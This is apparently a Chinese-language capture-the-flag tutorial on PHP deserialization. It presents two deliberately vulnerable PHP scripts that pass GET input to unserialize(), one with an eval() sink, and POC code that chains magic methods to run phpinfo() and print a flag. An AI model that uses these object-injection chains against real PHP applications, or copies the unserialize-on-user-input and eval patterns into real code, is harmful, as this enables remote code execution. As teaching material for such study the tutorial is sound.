成因
程序暴露或间接暴露反序列化 API,导致用户可以操作传入数据,并且没有对用户输入的反序列化字符串进行检测.
题目1:打印出phpinfo()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?phpclass car{ var $action; function __construct($action){ $this->action = new run(); } function __destruct() { $this->action->run(); }}class run{ function run(){ echo "running..."; }}class api{ var $data; function run(){ eval($this->data); }}unserialize($_GET['action']);?> |
思路:想要输出想要的信息,只有在api()中修改data的值,再调用run()函数。
切入点:在car中存在构造函数和析构函数
解答:先定义car的对象a,此时调用构造函数a->action=new run()。成为run对象并不是我们所期望的,直接把a->action修改为api()。
构造的POC代码如下:
|
1
2
3
4
|
$a=new car('run');$a->action=new api();$a->action->data='phpinfo();';echo serialize($a); |
结果如下
进阶 题目2:此题要输出flag(顺序已调整)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
<?phpclass start_gg{ public $mod1; public $mod2; public function __destruct(){ $this->mod1->test1(); }}class Call{ public $mod1; public $mod2; public function test1(){ $this->mod1->test2(); }}class funct{ public $mod1; public $mod2; public function __call($test2, $arr) { $s1=$this->mod1; $s1(); } } class func{ public $mod1; public $mod2; public function __invoke() { $this->mod2="字符串拼接".$this->mod1; }}class string1{ public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; }}class GetFlag{ public function get_flag(){ echo "flag:"."4399"; }}$a=$_GET['string'];unserialize($a);?> |
下面是一些可以利用的函数的说明:
__toString
对象被当成字符串使用时会被调用
__invoke
用调用函数的方式调用一个对象时被调用
__call
执行不存在的函数时调用
不难看出,这里的函数利用环环相扣.
POC:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$flagObj=new GetFlag();$stringtObj=new string1();$stringtObj->str1=$flagObj;$funcObj=new func();$funcObj->mod1=$stringtObj;$functObj=new funct();$functObj->mod1=$funcObj;$callObj=new Call();$callObj->mod1=$functObj;$startObj=new start_gg();$startObj->mod1=$callObj;echo serialize($startObj); |
运行结果如下:

